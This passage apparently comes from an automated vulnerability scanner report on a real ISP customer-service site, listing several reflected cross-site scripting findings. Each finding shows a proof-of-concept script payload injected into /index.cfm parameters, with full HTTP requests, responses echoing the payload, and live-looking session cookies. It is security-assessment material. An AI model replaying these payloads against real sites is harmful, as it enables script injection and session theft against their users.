Set-Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; path=/
Set-Cookie: CFID=122144238;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: CFTOKEN=86284596;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 15:22:04 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 15:22:04 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 15:22:04 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
t type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3"><script>alert(1)</script>08b85c0c654" />
...[SNIP]...

2.88. http://service.sympatico.ca/index.cfm [method parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of the method request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8caa8"><script>alert(1)</script>b3ad72338b0 was submitted in the method parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=8caa8"><script>alert(1)</script>b3ad72338b0&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=sTyPdRSJvhSPU3mxDDfcjxIA/NNnleaxZ0UCCktbs8vnEV3C8swQxOeJ5yNiAqpV49lkm+/HpbJLPPm0xdd2h6oxHLCbvUgObZAsaxw57YUVGPsDwJYN+gLq4opQi698kp9I0V+dUerjAeIzGLRTckcyFRc16bIzanuqkZXt6IMVnDITtAP0gpH6Woce8gfx+Z1VKfa8afIPir9RVkex3nwV0wJ0g37cjAsWq3rCPyDCc9ssD2IUbzJrptW4jEXCiD+RX/tTTBwiOCiIjZqBQ1k6X8kKnZbfUvIX1NWKapePnja2CeQdtg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:15 GMT
Connection: close
Set-Cookie: SMSESSION=zNIP8uiS4ERoRuYriujF+c0dj+1HqAtpec4sIL9DbSqdSI6UksxSR+qZ8ZXA58kenu7SJhW3VSmzzHJUCz8tiEHJZVf6CMFxJEJUNzyngmP6s3+/cjFlQ1Gst1T0B6SWyOSyS0YFyv0EnHSAvtFLsfxj5Zb1J3QvsSUXmfWkF+Yqx7IaU8F0nw45AZqsVTOzlM63fV2Ab54UgWbW77UhFMewesji4D4rQVOACF4NqlmPdixWrJRfsmvddTmhUIioOJGNLjziQFwlkNujP6GP3ylfBRz4u5AhVqXcIpH8wZe7Ku2PUmQ08g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3Fmethod%3D8caa8%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Eb3ad72338b0%26path%5Frequested%3Dhttp%3A%2F%2Fservice%2Esympatico%2Eca%2Fincludes%2F404%2Ecfm%3F404%3Bhttp%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfmcedc3%2522%253E%253Cscript%253Ealert%281%29%253C%2Fimages%2Fbuttons%2Fbt%5Fclose%2Egif;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:15 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=8caa8"><script>alert(1)</script>b3ad72338b0&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif" />
...[SNIP]...

2.89. http://service.sympatico.ca/index.cfm [method parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of the method request parameter is copied into the HTML document as plain text between tags. The payload 35cdd<script>alert(1)</script>05c2d75e895 was submitted in the method parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=home.pagenotfound35cdd<script>alert(1)</script>05c2d75e895&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/buttons/bt_close.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=sTyPdRSJvhSPU3mxDDfcjxIA/NNnleaxZ0UCCktbs8vnEV3C8swQxOeJ5yNiAqpV49lkm+/HpbJLPPm0xdd2h6oxHLCbvUgObZAsaxw57YUVGPsDwJYN+gLq4opQi698kp9I0V+dUerjAeIzGLRTckcyFRc16bIzanuqkZXt6IMVnDITtAP0gpH6Woce8gfx+Z1VKfa8afIPir9RVkex3nwV0wJ0g37cjAsWq3rCPyDCc9ssD2IUbzJrptW4jEXCiD+RX/tTTBwiOCiIjZqBQ1k6X8kKnZbfUvIX1NWKapePnja2CeQdtg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:15 GMT
Connection: close
Set-Cookie: SMSESSION=S7TsWp9ft1CM+umb8tvtK8P7Pj0iwotInR9bhBVRxHi3xpqAUd1cQzk+MLSC6qFJ7zktEoQxgs+d0h7vrYTJ+9JAGOLzjiNde1n1j/n6XZa3Ry96RvDK+R08j9mRDH/DNwd96YgvZ1MBOSfjnWIpJJfjBpjnTqb2Qs3cYMab+VU/9FzO5mxgioUAKMADBMsIyuVwjH+3Ao+O2F/BPOjgNkQFmUTy7UnCjAVMP6ZmRA3ifnfOQtpvfrd1lTVrVU/SXZqw9Y7kPU8yd/qTP1rwo8lrCBZXFTvnhMDD2WURRJUQEkjTsQ4p0w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:15 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>Bell Sympatico Customer Service Site Administration</title>
   <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CAC
...[SNIP]...
<body bottommargin="0" topmargin="0" leftmargin="0" rightmargin="0" marginheight="0" marginwidth="0">


unhandled action: pagenotfound35cdd<script>alert(1)</script>05c2d75e895!!!!!!
   <script type="text/javascript">
...[SNIP]...

2.90. http://service.sympatico.ca/index.cfm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e16d"><script>alert(1)</script>7016af329bf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?2e16d"><script>alert(1)</script>7016af329bf=1 HTTP/1.1
Host: service.sympatico.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 15:21:56 GMT
Connection: close
Set-Cookie: SMSESSION=+bDfaq1TaZvJgsKByL2qMCSls3/BF4JIEVYdgmHjzqF8rwUg6cMkQ0JDqxwF45IlcXp8oxTD5t7FF82x0PMGa01FNeKerffni+hGE/T49mYUA/4NF2HHzURlx/78BoXzUWNjCFpLEaocC/xqnwI2d9ZRIZbCyUMqfxhvULtde2baF5aX/trNmuxSeuxGfOn98jvj50UE2Svo/qrOdH+niLKL1F2xmnwIS6SU+gxfSDXqgkJEWOkiR7oN/ysd5D12EYUjWr/oKzKAyNn5NOvpJdHaEC4efsdf25NPlYrivHH+uYOQBI867w==; path=/
Set-Cookie: CFID=122144198;expires=Fri, 16-Nov-2040 15:21:56 GMT;path=/
Set-Cookie: CFTOKEN=40039322;expires=Fri, 16-Nov-2040 15:21:56 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 15:21:56 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 15:21:56 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 15:21:56 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 15:21:56 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=7E7A0958%2D65B8%2DB18C%2D8B2847C551566550;expires=Fri, 16-Nov-2040 15:21:56 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 15:21:56 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F2e16d%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E7016af329bf%3D1;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 15:21:56 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?2e16d"><script>alert(1)</script>7016af329bf=1" />
...[SNIP]...

2.91. http://service.sympatico.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 342a9"><script>alert(1)</script>1a85e48f8fa was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

